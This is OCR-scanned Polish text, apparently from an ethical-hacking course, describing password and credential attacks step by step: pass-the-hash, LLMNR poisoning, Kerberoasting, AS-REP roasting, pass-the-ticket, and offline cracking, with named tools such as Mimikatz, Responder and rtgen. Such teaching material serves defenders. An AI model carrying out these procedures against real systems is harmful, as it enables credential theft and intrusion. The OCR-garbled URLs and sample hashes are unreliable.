Ponizszy obraz przedstawia scenariusz opisujgcy, w jaki sposdb osoba atakujgca uzyskuje dostep do
hasta za pomoca trojana/spyware/keyloggera.
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Hash Injection/Pass-the-Hash (PtH) Atak

Ten typ ataku jest mozliwy, gdy system docelowy uzywa funkcji skrétu jako czesci procesu
uwierzytelniania w celu uwierzytelnienia swoich uzytkownikéw. Zasadniczo system przechowuje
wartosci skrétu poswiadczen w bazie danych/pliku SAM na komputerze z systemem Windows. W
takich przypadkach serwer oblicza wartos¢ skrétu danych uwierzytelniajacych przestanych przez
uzytkownika lub umozliwia uzytkownikowi bezposrednie wprowadzenie wartosci skrétu. Nastepnie
serwer sprawdza to pod katem zapisanej wartosci skrotu w celu uwierzytelnienia. Atakujgcy
wykorzystujg takie mechanizmy uwierzytelniania i najpierw wykorzystujg serwer docelowy do
pobrania skrétéw z baz danych SAM. Nastepnie wprowadzajg uzyskane skroty bezposrednio do
mechanizmu uwierzytelniania w celu uwierzytelnienia za pomocg skradzionych, wstepnie obliczonych
skrotow uzytkownika. W zwigzku z tym w przypadku ataku typu hash injection/PtH osoby atakujgce
wstrzykujg skompromitowany skrét LanMan (LM) lub NTLM do sesji lokalnej, a nastepnie uzywajg tego
skrétu do uwierzytelnienia w zasobach sieciowych. Kazdy serwer lub ustuga (dziatajagca w systemie
Windows, UNIX lub innym systemie operacyjnym) korzystajgca z uwierzytelniania NTLM lub LM jest
podatna na ten atak. Atak ten mozna przeprowadzi¢ na dowolnym systemie operacyjnym, ale system
Windows moze byc¢ bardziej podatny na ataki ze wzgledu na funkcje pojedynczego logowania (SSO),
ktéra przechowuje hasta w systemie i umozliwia uzytkownikom dostep do wszystkich zasobdéw za
pomocg jednorazowego logowania. Do przeprowadzenia ataku typu hash injection/PtH stosuje sie
rézne techniki:

o Atakujgcy prébuje naruszyé uprawnienia administratora, aby przechwyci¢ wartosci pamieci
podrecznej skrétéw haset uzytkownika z lokalnej bazy danych kont uzytkownikéw lub SAM. Jednak
korzystanie z tych przechowywanych w pamieci podrecznej skrétéw w trybie offline moze by¢
ograniczone przez administratora sieci. Dlatego takie podejscie nie zawsze moze by¢ wykonalne.

o Atakujacy zrzuca skroty haset z lokalnej bazy danych kont uzytkownikédw lub SAM w celu odzyskania
skrotow haset uzytkownikéw lokalnych i uzyskuje dostep do kont administratoréw, aby naruszyé inne
potgczone systemy.

o Atakujgcy przechwytuje komunikaty typu challenge-response LM lub NTLM miedzy klientem a
serwerem w celu wydobycia zaszyfrowanych skrotow za pomoca brutalnego wymuszenia.

o Atakujacy pobiera poswiadczenia uzytkownikdw lokalnych oraz nalezgcych do domeny
bezpieczenstwa z procesu Windows lsass.exe.

Haker przeprowadza ten atak, wykonujgc nastepujace pieé krokéw:
o Haker wtamuje sie do jednej stacji roboczej/serwera za pomocg lokalnego/zdalnego exploita.

o Haker wyodrebnia przechowywane skréty za pomocg narzedzi takich jak pwdump?7, Mimikatz itp. i
znajduje skroét konta administratora domeny.



o Haker uzywa narzedzi takich jak Mimikatz do umieszczenia jednego z pobranych skrétéw w swoim
lokalnym procesie Isass.exe, a nastepnie uzywa tego skrétu do zalogowania sie do dowolnego systemu
(kontrolera domeny) przy uzyciu tych samych poswiadczen.

o Haker wyodrebnia wszystkie skroty z bazy danych Active Directory i moze teraz przejac kontrole nad
dowolnym kontem w domenie.

Zatrucie LLMNR/NBT-NS

LLMNR (Link Local Multicast Name Resolution) i NBT-NS (NetBIOS Name Service) to dwa gtoéwne
elementy systemu operacyjnego Windows uzywane do rozpoznawania nazw hostéw obecnych na tym
samym taczu. Ustugi te sg domysinie wtgczone w systemach operacyjnych Windows. Gdy serwer DNS
nie moze rozpozna¢ zapytan o nazwe, host przeprowadza nieuwierzytelniong transmisje UDP z
pytaniem do wszystkich hostéw, czy ktos ma nazwe, ktérej szuka. Poniewaz host prébujacy sie
potaczyé, podaza za nieuwierzytelnionym i rozgtaszanym procesowi atakujgcemu staje sie fatwe bierne
nastuchiwanie sieci w poszukiwaniu rozgtoszern LLMNR (port UDP 5355) i NBT-NS (port UDP 137) i
odpowiadanie na zgdanie, udajgc hosta docelowego. Po zaakceptowaniu pofaczenia z hostem
atakujacy wykorzystuje narzedzia, takie jak Responder.py lub Metasploit, aby przekazac¢ zadanie do
nieuczciwego serwera (na przyktad TCP: 137) w celu przeprowadzenia procesu uwierzytelnienia.
Podczas procesu uwierzytelniania atakujgcy wysyta hash NTLMv2 do nieuczciwego serwera, ktory
zostat uzyskany od hosta probujacego sie uwierzytelni¢. Ten hash jest rozdarty na dysku i mozna go
ztamacd za pomoca narzedzi do tamania hash offline, takich jak hashcat lub John the Ripper. Po ztamaniu
tych poswiadczer mozna uzy¢ do zalogowania sie i uzyskania dostepu do legalnego systemu hosta.

Etapy zwigzane z zatruciem LLMNR/NBT-NS:

1. Uzytkownik wysyta prosbe o potaczenie z systemem udostepniania danych \\DataServer, ktéry
omytkowo wpisat jako \\DtaServr.

2. \\DataServer odpowiada uzytkownikowi, méwigc, ze nie zna nazwy hosta
\\DtaServr.

3. Nastepnie uzytkownik przeprowadza rozgtaszanie LLMNR/NBT-NS, aby dowiedzie¢ sie, czy
ktokolwiek w sieci zna nazwe hosta\\DtaServr.

4. Atakujacy odpowiada uzytkownikowi, méwigc, ze jest to \\DataServer, akceptuje hash uzytkownika
NTLMv2

Narzedzia do zatruwania LLMNR/NBT-NS
o Odpowiadajacy

Respondent jest trucicielem LLMNR, NBT-NS i MDNS. Odpowiada na okreslone zapytania NBT-NS
(NetBIOS Name Service) na podstawie sufiksu nazwy. Domyslnie narzedzie odpowiada tylko na zgdanie
ustugi serwera plikow, ktére jest przeznaczone dla SMB. Jak pokazano na zrzutach ekranu, osoby
atakujgce uzywajg narzedzia Responder do wyodrebnienia informacji, takich jak wersja systemu
operacyjnego docelowego systemu, wersja klienta, adres IP klienta NTLM, nazwa uzytkownika NTLM i
skrot hasta.

Wewnetrzny atak na monolog

Atak z monologiem wewnetrznym jest podobny do ataku przeprowadzanego przy uzyciu Mimikatz, z
tg rdznicy, ze obszar pamieci procesu ustugi podsystemu urzedu zabezpieczen lokalnych (LSASS) nie



jest zrzucany, co pozwala unikngé ochrony poswiadczen systemu Windows i programu
antywirusowego. Mimikatz to narzedzie post-exploitation, za pomoca ktdrego osoby atakujgce mogg
wydobywadé hasta w postaci zwyktego tekstu, bilety Kerberos i skréty NTLM z pamieci proceséw LSASS.
Atakujgcy uzywajg Mimikatz do pobierania danych uwierzytelniajgcych uzytkownika z pamieci procesu
LSASS, a uzyskane informacje pomagajg im w wykonywaniu ruchu bocznego w fazie poeksploatacyjnej.
Wewnetrzny atak monologowy jest zwykle przeprowadzany w bezpiecznym srodowisku, w ktérym nie
mozna wykona¢ Mimikatz. W tym ataku przy uzyciu interfejsu dostawcy obstugi zabezpieczen (SSPI) z
aplikacji trybu uzytkownika wywotywane jest lokalne wywotanie procedury pakietu uwierzytelniania
NTLM w celu obliczenia odpowiedzi NetNTLM w kontekscie zalogowanego uzytkownika.

Kroki przeprowadzania wewnetrznego ataku na monolog:

1. Atakujacy wytgcza zabezpieczenia NetNTLMvl, modyfikujgc wartosci LMCompatibilityLevel,
NTLMMinClientSec i RestrictSendingNTLMTraffic.

2. Atakujacy wyodrebnia wszystkie tokeny logowania poza siecig ze wszystkich aktywnych procesoéw,
aby podszywac sie pod legalnych uzytkownikéw.

3. Teraz atakujacy komunikuje sie lokalnie z NTLM SSP, aby kazdy zamaskowany uzytkownik uzyskat
odpowiedz NetNTLMvl na wybrane wyzwanie w kontekscie bezpieczenstwa tego uzytkownika.

4. Teraz atakujgcy przywraca rzeczywiste wartosci LMCompatibilityLevel, NTLMMinClientSec i
RestrictSendingNTLMTraffic.

5. Atakujacy uzywa teczowych tablic do ztamania skrétu NTLM przechwyconych odpowiedzi.
6. Na koniec atakujacy wykorzystuje ztamane skréty, aby uzyskaé dostep na poziomie systemu.
tamanie hasta Kerberos

Kerberos jest najczesciej uzywanym protokotem uwierzytelniania jednostek sieciowych. Ze wzgledu na
powszechng akceptacje jest podatny na rdzne ataki. Atakujgcy opracowali rézne sposoby wiamywania
sie do protokotu Kerberos i wykorzystywania jego luk w celu famania stabych haset, wstrzykiwania
ztodliwych koddéw i uzyskiwania informacji o infrastrukturze sieciowej i rézinych podmiotach
sieciowych. Atakujacy atakujg protokdt uwierzytelniania Kerberos na dwa popularne sposoby:
mianowicie wtamujac sie do TGS, znanego jako Kerberoasting, oraz wtamujgc sie do TGT, znanego jako
AS-REP Roasting.

AS-REP Prazenie (Pekanie TGT)

W tym ataku atakujacy zadajg od KDC biletu uwierzytelniajgcego (TGT) w postaci pakietu AS-REQ. Jesli
konto uzytkownika istnieje, KDC odpowiada TGT zaszyfrowanym z poswiadczeniami konta. Pozwala to
atakujacym otrzymac zaszyfrowany bilet, ktdry mozna nastepnie zapisa¢ w trybie offline i dalej ztamac¢
w celu uzyskania hasta. Atakujgcy moga przeprowadzac tego typu ataki zaréwno aktywnie, jak i
pasywnie. W scenariuszu aktywnym atakujgcy generujg komunikat AS-REP dla uzytkownika, podczas
gdy w scenariuszu pasywnym atakujgcy obserwujg komunikat AS-REP. W uwierzytelnianiu Kerberos
tryb wstepnego uwierzytelniania jest domysinie wigczony i ma na celu zapobieganie atakom
polegajacym na odgadywaniu hasta w trybie offline. Dlatego, aby przeprowadzi¢ atak ASREP Roasting,
osoby atakujgce muszg zidentyfikowa¢ konta uzytkownikéw z wytgczonym trybem wstepnego
uwierzytelniania, tj. konto uzytkownika musi by¢ ustawione na ,Nie wymagaj uwierzytelniania
Kerberos”. Atakujgcy uzywajg narzedzi takich jak Rubeus do przeprowadzania atakdw palgcych AS-REP.
Prazenie AS-REP obejmuje nastepujace kroki:



1. Atakujacy identyfikuje konto uzytkownika z wytgczong opcjg wstepnego uwierzytelnienia.

2. W imieniu uzytkownika osoba atakujgca zgda biletu uwierzytelniajgcego (TGT) od kontrolera
domeny lub KDC.

3. Kontroler domeny weryfikuje konto uzytkownika i odpowiada, wysytajac bilet TGT zaszyfrowany z
poswiadczeniami konta.

4. Atakujgcy przechowuje bilet TGT w trybie offline i tamie go, aby wyodrebni¢ hasto do konta
uzytkownika i uzyska¢ dalszy dostep do podmiotu sieciowego (tutaj serwera aplikacji).

Kerberoasting (Pekanie TGS)

W tym ataku atakujacy zagdajg TGS dla gtéwnej nazwy ustugi (SPN) docelowego konta ustugi. To zgdanie
jest kierowane do kontrolera domeny przy uzyciu waznego biletu uwierzytelniania uzytkownika
domeny (TGT). Kontroler domeny nie ma zadnych rekorddéw; jesli uzytkownik uzyskat dostep do
zasobow sieciowych, po prostu przeszukuje SPN w Active Directory, a nastepnie odpowiada
zaszyfrowanym biletem przy uzyciu konta ustugi potaczonego z SPN. Typ szyfrowania uzywany dla
zadanego biletu ustugi (ST) to RC4_HMAC_MDS5, co wskazuje, ze do szyfrowania ST uzywany jest skrot
hasta NTLM. Aby ztama¢ ST, atakujacy eksportujg bilety TGS z pamieci i zapisujg je offline w systemie
lokalnym. Ponadto osoby atakujgce uzywajg réznych skrétéw NTLM do ztamania ST, a po pomysinym
ztamaniu go mozna wykry¢ hasto do konta ustugi. Atakujgcy uzywajg narzedzi takich jak Kerberoast do
przeprowadzania atakow Kerberoasting na uwierzytelnianie Kerberos. Kerberoasting obejmuje
nastepujgce kroki:

1. W imieniu uzytkownika atakujacy zada biletu uwierzytelniajgcego (TGT) od kontrolera domeny lub
KDC.

2. Kontroler domeny weryfikuje konto uzytkownika i odpowiada zaszyfrowanym biletem TGT.
3. Z waznym biletem uwierzytelniania uzytkownika (TGT), osoba atakujgca zgda TGS.
4. Kontroler domeny weryfikuje bilet TGT i odpowiada biletem TGS.

5. Atakujacy przechowuje bilet TGS w trybie offline i tamie go, aby wyodrebni¢ hasto do konta ustugi i
uzyska¢ dalszy dostep do podmiotu sieciowego (tutaj serwera aplikacji).

Atak typu pass-the-bilet

Pass-the-ticket to technika uzywana do uwierzytelniania uzytkownika w systemie korzystajacym z
biletéw Kerberos bez podawania hasta uzytkownika. Uwierzytelnianie Kerberos umozliwia
uzytkownikom dostep do ustug Swiadczonych przez zdalne serwery bez koniecznosci podawania haset
dla kazdej zadanej ustugi. Aby przeprowadzi¢ ten atak, osoba atakujaca zrzuca bilety Kerberos
legalnych kont za pomocg narzedzi do zrzucania poswiadczen. TGT lub ST mozna przechwycic¢ na
podstawie poziomu dostepu dozwolonego dla klienta. W tym przypadku ST zezwala na dostep do
okreslonych zasobdw, a bilet TGT jest uzywany do wysytania zagdania do TGS, aby ST miat dostep do
wszystkich ustug, do ktorych klient ma dostep. Srebrne bilety sg przechwytywane dla zasobéw
korzystajacych z protokotu Kerberos w procesie uwierzytelniania i moga stuzy¢ do tworzenia biletéw
w celu wywotania okreslonej ustugi i uzyskania dostepu do systemu, ktéry oferuje te ustuge. Ztote
bilety sg przechwytywane dla domeny z hashem KDS KRBTGT NTLM, ktory umozliwia tworzenie TGT
dla dowolnego profilu w Active Directory. Atakujacy przeprowadzajg ataki typu pass-the-ticket,
kradngc ST/TGT z maszyny uzytkownika koncowego i uzywajgc go do ukrycia sie jako waziny
uzytkownik, lub kradngc ST/TGT z zainfekowanego AS. Po uzyskaniu jednego z tych biletow atakujgcy



moze uzyskac nieautoryzowany dostep do ustug sieciowych i szukaé¢ dodatkowych uprawnien oraz
krytycznych danych. Atakujacy uzywajg narzedzi takich jak Mimikatz, Rubeus, Windows Credentials
Editor itp. do przeprowadzania atakdw typu pass-the-ticket:

Mimikatz

Mimikatz umozliwia atakujagcym przekazywanie protokotu Kerberos TGT do innych komputerdw i
logowanie sie przy uzyciu biletu ofiary. Narzedzie pomaga réwniez w wydobywaniu z pamieci haset w
postaci zwyktego tekstu, skrotéw, kodow PIN i biletow Kerberos. Jest to narzedzie typu open source,
ktére umozliwia kazdemu przegladanie i przechowywanie danych uwierzytelniajgcych, takich jak bilety
Kerberos. Atakujagcy mogg to wykorzysta¢ do eskalacji uprawnien i kradziezy danych
uwierzytelniajgcych.

Inne aktywne ataki online
Atak Kombinowany

W ataku kombinacyjnym atakujacy taczg wpisy z pierwszego stownika z wpisami z drugiego stownika.
Wynikowa lista wpiséw moze stuzy¢ do tworzenia petnych nazw i stéw ztozonych. Atakujgcy
wykorzystuja te liste stéw do ztamania hasta w systemie docelowym i uzyskania nieautoryzowanego
dostepu do plikdéw systemowych.

Kroki zwigzane z atakiem kombinowanym:
0 Znajdz prawidtowego uzytkownika docelowego.
o Zbuduj wtasne dwa stowniki lub pobierz dwa rézne stowniki list stow ze Zrédet internetowych.

o Utwérz ostateczng liste stéw, tgczac wpisy z dwdch oddzielnych stownikéw. Na przyktad, jesli
pierwszy stownik zawiera 100 stéw, a drugi zawiera 70 stéw, to potaczony stownik zawiera 100 x 70 =
7000 stéw.

o Uzyj zautomatyzowanych narzedzi, takich jak hashcat, aby ztamac hasto docelowego uzytkownika.

Atakujgcy dokonujg tego typu tamania haset w sytuacji, gdy losowa fraza stéw jest uzywana jako
domyslna procedura generowania hasta.

Atak odciskéw palcow

W ataku odciskéw palcdw hasto jest dzielone na odciski palcdw sktadajgce sie z kombinacji
pojedynczych i wielu znakdw, ktére docelowy uzytkownik moze wybra¢ jako swoje hasto. Na przyktad
dla stowa ,hasto” technika ta tworzy odciski palcéw ,,p”, ,a”, ,s", ,s", ,w”, ,0”, ,x’, ,d”, ,pa” ,ss”, ,wo”,
,rd” itp. Atakujgcy zwykle wykonujg ten atak w celu ztamania ztozonych haset, takich jak ,pass-10".
Aby przeprowadzi¢ ten atak, atakujacy tworzg liste unikalnych skrétéw haset z bazy danych skrétéw
haset, ktéra wyciekta, a nastepnie przeprowadzajg atak sitowy w celu uzyskania listy stow i dalszego

rozpoczecia ataku odciskiem palca.
Atak PRINCE

Atak PROBability INfinite Chained Elements (PRINCE) to zaawansowana wersja ataku kombinacyjnego,
w ktérej zamiast pobiera¢ dane wejsciowe z dwéch réznych stownikow, atakujacy uzywajg jednego
stownika wejsciowego do budowania tancuchéw potgczonych stéw. Ten taricuch moze zawiera¢ od 1
do n stéw ze stownika wejsciowego potgczonych ze sobg w celu utworzenia faficucha stéw. Na przyktad,
jesli dtugos¢ znakdw do odgadniecia wynosi 5, to ze stownika wejsciowego tworzone sg nastepujace
kombinacje:



5-literowe stowo

3-literowe stowo + 2-literowe stowo
2-literowe stowo + 3-literowe stowo
1-literowe stowo + 4-literowe stowo
.. itd.

Atak z przetgczaniem przypadkow

W ataku z przetaczaniem wielkosci liter atakujgcy prébuja wszystkich mozliwych kombinacji wielkich i
matych liter stowa znajdujgcego sie w stowniku wejsciowym. Na przyktad, jesli stowo w stowniku
wejsciowym to ,xyz”, generowany jest nastepujacy zestaw kombinacji:

Xyz

Xyz

XYz

XYz

xYz

.. itd.

Wskaznik powodzenia tego ataku jest niski z nastepujgcych powoddw:

o Jesli uzytkownicy uzywajg wielkich liter, uzywajg ich na pierwszym miejscu lub pomiedzy stowami

o W innych przypadkach uzytkownicy uzywajg mniejszej lub rownej liczby wielkich liter niz matych liter
Atak tancuchowy Markowa

W atakach wykorzystujgcych taricuch Markowa atakujgcy zbierajg baze danych haset i dzielg kazde
hasto na sylaby dwu- i trzyznakowe (2-gramowe i 3-gramowe); przy uzyciu tych elementow znakowych
tworzony jest nowy alfabet, ktéry jest nastepnie dopasowywany do istniejgcej bazy danych haset. W
poczatkowej fazie tego ataku atakujacy ustawiajg parametr progowy dla wystgpied elementow i
wybierane sg tylko litery obecne w nowym alfabecie, ktdre wystgpity co najmniej minimalng liczbe
razy. Ponadto technika ta taczy wybrane litery w stowa o maksymalnej dtugosci osmiu znakow, a
nastepnie przeprowadzany jest atak stownikowy w celu ztamania docelowego hasta.

Atak oparty na GPU

Jednostki przetwarzania grafiki (GPU) to wyspecjalizowane obwody uzywane w zaawansowanych
urzadzeniach komputerowych do wyswietlania grafiki. Procesory graficzne mogg by¢ réwniez uzywane
przez przegladarki internetowe w celu przyspieszenia przetwarzania aplikacji w centrach danych i
Srodowiskach chmurowych. Procesory GPU sg oparte na wieloplatformowych interfejsach API, takich
jak OpenGL, do ktérych dostep ma kazda aplikacja na urzadzeniu z poswiadczeniami lub uprawnieniami
na poziomie uzytkownika. Poniewaz urzadzenia komputerowe, takie jak laptopy lub komputery
stacjonarne, sg domyslnie skonfigurowane ze sterownikami graficznymi i bibliotekami, ataki oparte na
GPU moga by¢ przeprowadzane za posrednictwem ich interfejsow API. Aby przeprowadzié atak oparty
na GPU, osoby atakujgce poczatkowo przeprowadzajg socjotechnike, aby naktoni¢ ofiare do pobrania
ztodliwego programu lub aplikacji. Nastepnie szkodliwy program umozliwia atakujgcym potajemne



$ledzenie dziatan uzytkownika w przegladarce i przeprowadzanie wyciekéw kanatéw bocznych w celu
kradziezy haset. Dziatanie ataku GPU wyglgda nastepujgco:

o Atakujacy zwabia lub zmusza ofiare do odwiedzenia niezabezpieczonej witryny lub pobrania na jej
system aplikacji zawierajacej ztosliwe oprogramowanie.

o Kiedy ofiara instaluje aplikacje zatadowang ztosliwym oprogramowaniem, ztosliwe oprogramowanie
zaczyna uzyskiwaé dostep do API OpenGL przegladarki.

o Ztosliwe oprogramowanie w OpenGL API konfiguruje szpiega na urzadzeniu w celu $ledzenia dziatan
w przegladarce.

o Gdy ofiara uzyskuje dostep do dowolnej witryny za posrednictwem przegladarki, osoby atakujgce
mogg skopiowad kazdy znak wprowadzony przez ofiare w polu hasta witryny.

Pasywne ataki online
Sniffowanie pakietow

Sniffowanie pakietéw to forma wachania lub podstuchiwania, w ktérej hakerzy wyszukujg dane
uwierzytelniajgce podczas przesytania, przechwytujgc pakiety internetowe. Atakujgcy rzadko uzywajg
snifferow do przeprowadzania tego typu atakéw. Dzieki sniffowaniu pakietdw osoba atakujgca moze
uzyskad hasta do aplikacji, takich jak poczta e-mail, strony internetowe, SMB, FTP, sesje rlogin lub SQL.
Gdy sniffery dziataja w tle, ofiara pozostaje nieswiadoma ich dziatania. Gdy sniffery zbierajg pakiety w
warstwie tgcza danych, mogg przechwycic¢ wszystkie pakiety w sieci LAN komputera, na ktérym dziata
program sniffera. Ta metoda jest stosunkowo trudna do wykonania i skomplikowana obliczeniowo.
Dzieje sie tak, poniewaz sie¢ z koncentratorem implementuje medium rozgtoszeniowe, ktdre wszystkie
systemy wspotuzytkujg w sieci LAN. Sie¢ LAN wysyta dane do wszystkich podtgczonych do niej maszyn.
Jesli atakujgcy uruchomi sniffer w jednym systemie w sieci LAN, moze zebra¢ dane wysytane do i z
dowolnego innego systemu w sieci LAN. Wiekszo$¢ narzedzi snifferowych idealnie nadaje sie do
wachania danych w srodowisku koncentratora. Narzedzia te sg pasywnymi snifferami, poniewaz
biernie czekajg na transfer danych przed przechwyceniem informacji. Skutecznie niepostrzezenie
zbierajg dane z sieci LAN. Przechwycone dane mogg obejmowacd hasta wysytane do zdalnych systeméw
podczas sesji FTP, rlogin i poczty elektronicznej. Atakujgcy wykorzystuje te przechwycone dane
uwierzytelniajgce w celu uzyskania nieautoryzowanego dostepu do systemu docelowego. W Internecie
dostepnych jest wiele narzedzi do pasywnego wachania przewodéw.

Ataki Man-in-the-Middle/Manipulator-in-the-Middle i powtérka

Kiedy dwie strony komunikujg sie, moze mie¢ miejsce atak man-in-the-middle/manipulator-in-the-
middle (MITM), w ktorym strona trzecia przechwytuje komunikacje miedzy dwiema stronami bez ich
wiedzy. Strona trzecia podstuchuje ruch, a nastepnie przekazuje go dalej. Aby to zrobi¢, ,cztowiek
posrodku” musi jednoczesnie wachad z obu stron potgczenia, w ataku MITM atakujgcy uzyskuje dostep
do kanatéw komunikacyjnych miedzy ofiarg a serwerem w celu wydobycia informacji. Ten typ ataku
jest czesto wykorzystywany w technologiach telnet i bezprzewodowych. Implementacja takich atakow
nie jest fatwa ze wzgledu na numery sekwencyjne TCP i szybkos¢ komunikacji. Ta metoda jest
stosunkowo trudna do wykonania i czasami mozna jg ztamad, uniewazniajac ruch. W ataku
powtérkowym pakiety i tokeny uwierzytelniajgce sy przechwytywane za pomocag sniffera. Po
wyodrebnieniu odpowiednich informacji tokeny sg ponownie umieszczane w sieci w celu uzyskania
dostepu. Atakujgcy wykorzystuje ten typ ataku do odtworzenia transakcji bankowych lub podobnych
rodzajow transferu danych w nadziei na powielenie i/lub zmiane dziatan, takich jak depozyty bankowe
lub przelewy.



Ataki offline

Ataki offline majg miejsce, gdy osoba atakujgca sprawdza poprawnos¢ haset. Atakujgcy obserwuje
sposdb przechowywania hasta. Jesli nazwy uzytkownika i hasta sg przechowywane w czytelnym pliku,
atakujgcemu fatwo jest uzyska¢ dostep do systemu. Dlatego wazne jest, aby chroni¢ liste haset i
przechowywac jg w nieczytelnej formie, najlepiej w postaci zaszyfrowanej. Ataki offline sg czesto
czasochtonne, ale majg wysoki wskaznik powodzenia, poniewaz skréty haset mozna odwréci¢ ze
wzgledu na ich matg przestrzen kluczy i kréotkg dtugos¢. Warto zauwazyé, ze w Internecie dostepne sg
rézne techniki tamania haset.

Oto dwa przyktady atakéw offline:
1. Atak na teczowy stot

2. Rozproszony atak sieciowy
Atak Teczowego Stotu

Atak teczowego stotu wykorzystuje technike kryptoanalitycznego kompromisu czas-pamieé, ktéra
wymaga mniej czasu niz inne techniki. Wykorzystuje juz obliczone informacje przechowywane w
pamieci, aby ztamac szyfrowanie. W ataku Rainbow Table atakujacy tworzy z géry tabele wszystkich
mozliwych haset i odpowiadajgcych im wartosci skrétu, znang jako teczowa tabela.

Teczowa tabela: Teczowa tabela to wstepnie obliczona tabela zawierajaca listy stéw, takie jak pliki
stownikéw i listy brutalnej sity, oraz ich wartosci skrotu. Jest to tabela przeglagdowa uzywana specjalnie
do odzyskiwania hasta w postaci zwyktego tekstu z tekstu zaszyfrowanego. Atakujgcy uzywa tej tabeli
do wyszukiwania hasta i prébuje odzyskac je z skrotow haset.

Obliczone skréty: osoba atakujgca oblicza skrét dla listy mozliwych haset i poréwnuje go z wczesniej
obliczong tabelg skrétéw (teczowa tabelg). Jesli atakujacy znajdg dopasowanie, mogg ztamac hasto.

Pordéwnaj skréty: osoba atakujgca przechwytuje skrét hasta i poréwnuje go z wezesniej obliczong tabelg
skrotow. Jesli zostanie znalezione dopasowanie, hasto zostanie ztamane. tatwo jest odzyskaé hasta,
poréwnujac przechwycone skréty haset z wczes$niej obliczonymi tabelami.

Przyktady wstepnie obliczonych skrotow:

lgazwed -> 4259cc34599¢530b28a6a8f225d668590
hh021da -> c744b!716cbf8d4dd0ff4ce31al77151
9da8dasf -> 3cd696a8571a843cdad53a229d741843
sodifo8sf -> c744bl716cbf8d4dd0ff4ce31al77151
Narzedzie do tworzenia teczowych tabel: rtgen

RainbowCrack to implementacja ogdlnego przeznaczenia, ktéra wykorzystuje technike wymiany
pamieci czasu do famania skrétéw. Ten projekt pozwala ztamacé zaszyfrowane hasto. Atakujacy uzywaja
narzedzia rtgen tego projektu do generowania teczowych tabel. Jak pokazano na zrzucie ekranu,
program rtgen potrzebuje kilku parametréw do wygenerowania teczowe] tabeli. Sktadnia wiersza
polecen to:

Syntax: rtgen hash_algorithm charset plaintext_len_min

plaintext_len_max table_index chain_len chain_nuin part_index



Rozproszony atak sieciowy

Rozproszony atak sieciowy (DNA) to technika uzywana do odzyskiwania plikdw chronionych hastem,
ktéra wykorzystuje niewykorzystang moc obliczeniowg maszyn rozproszonych w sieci do
odszyfrowania haset. W tym ataku atakujgcy instaluje menedzera DNA w centralnej lokalizacji, w ktorej
maszyny z klientami DNA mogg uzyskiwaé do niego dostep przez sie¢. Menedzer DNA koordynuje atak
i przydziela mate czes$ci wyszukiwania klucza maszynom rozproszonym w catej sieci. Klient DNA dziata
w tle, zabierajac tylko niewykorzystany czas procesora. Program tgczy mozliwosci przetwarzania
wszystkich klientéw podtaczonych do sieci i wykorzystuje je do ztamania hasta. Do przeprowadzenia
tego ataku atakujgcy wykorzystujg zestaw narzedzi do odzyskiwania hasta (PRTK), ktéry jest
wyposazony w narzedzia DNA.

Cechy DNA s3 nastepujace:

o tatwo odczytuje statystyki i wykresy

o Dodaje stowniki uzytkownika w celu ztamania hasta

o Optymalizuje ataki na hasta dla okreslonych jezykow

o Modyfikuje stowniki uzytkownika

o Obejmuje funkcje instalacji klienta stealth

o Automatycznie aktualizuje klienta podczas aktualizacji serwera DNA
DNA mozna podzieli¢ na dwa moduty:

Interfejs serwera DNA

Interfejs serwera DNA umozliwia uzytkownikom zarzgdzanie DNA z poziomu serwera. Modut serwera
DNA zapewnia uzytkownikowi status wszystkich zadan wykonywanych przez serwer DNA. Interfejs
zawiera nastepujgce zadania:

Biezgce zadania: Biezgca kolejka zadan sktada sie ze wszystkich zadan dodanych do listy przez
kontroler. Biezaca lista zadan zawiera wiele kolumn, takich jak numer identyfikacyjny przypisany do
zadania przez DNA, nazwa zaszyfrowanego pliku, hasto uzytkownika, hasto pasujgce do klucza
umozliwiajgcego odblokowanie danych, status zadania, i rézne inne kolumny.

Zakonczone zadania: Lista ukoiczonych zadan zawiera informacje o zadaniach odszyfrowywania, w
tym hasto. Zawiera réwniez wiele kolumn, ktére sg podobne do biezgcej listy zadan. Kolumny te
zawierajg numer identyfikacyjny przypisany zadaniu przez DNA, nazwe zaszyfrowanego pliku,
odszyfrowang S$ciezke pliku, klucz uzyty do zaszyfrowania i odszyfrowania pliku, date i godzine
rozpoczecia pracy serwera DNA nad zadaniem , date i godzine zakoriczenia pracy serwera DNA, czas,
ktory uptynat itp.

Interfejs klienta DNA

Uzytkownicy moga korzysta¢ z interfejsu klienta DNA z wielu stacji roboczych. Interfejs ufatwia
koordynacje statystyk klienta i jest dostepny na komputerach z preinstalowang aplikacjg klienckg DNA.
Istnieje kilka elementdw, takich jak nazwa klienta DNA, nazwa grupy, do ktérej nalezy klient DNA oraz
statystyki dotyczace biezgcego zadania.

Zarzadzanie siecig



Okno dialogowe Ruch sieciowy pomaga w wykryciu szybkosci sieci uzywanej przez DNA oraz kazdej
dtugosci jednostki roboczej klienta DNA. Korzystajac z dtugosci jednostki roboczej, klient DNA moze
pracowac bez kontaktowania sie z serwerem DNA. Aplikacja kliencka DNA moze kontaktowac sie z
serwerem DNA na poczatku i na koncu dtugosci jednostki roboczej. Uzytkownik moze monitorowad
kolejke statusu zadania i DNA. Po zebraniu danych z okna dialogowego Ruch sieciowy uzytkownik moze
modyfikowac prace klienta. Wraz ze wzrostem dtugosci jednostki roboczej zmniejsza sie predkosc
ruchu sieciowego. Spadek predkosci ruchu powoduje, ze klient pracujgcy nad zadaniami spedza wiecej
czasu. W zwigzku z tym uzytkownik moze wysyta¢ mniej zadan do serwera ze wzgledu na zmniejszenie
przepustowosci ruchu sieciowego.

Narzedzia do odzyskiwania hasta

Narzedzia do odzyskiwania hasta pozwalajg atakujgcym tamaé ztozone hasta, odzyskiwac silne klucze
szyfrujace i odblokowac kilka dokumentéw.

Rozproszone odzyskiwanie hasta Elcomsoft

Aplikacja Elcomsoft Distributed Password Recovery umozliwia atakujgcym tamanie ztozonych haset,
odzyskiwanie silnych kluczy szyfrujgcych i odblokowywanie dokumentéw w srodowisku produkcyjnym.
Atakujgcy mogg uzy¢ tego narzedzia do odzyskania haset docelowego systemu w celu uzyskania
nieautoryzowanego dostepu do krytycznych plikdw i innego oprogramowania systemowego. Niektore
narzedzia do odzyskiwania hasta sg wymienione w nastepujgcy sposéb:

Zestaw narzedzi do odzyskiwania hasta (https://occessdato.com)

Passware Kit Forensic (https://www.posswore.com)

hashcat ( https://hoshcot.net )

Narzedzie odzyskiwania hasta systemu Windows (https://www.windowsposswordsrecovery.com)
PCUnlocker (https://www.top-possword.com)

Narzedzia do wyodrebniania skrétéw haset

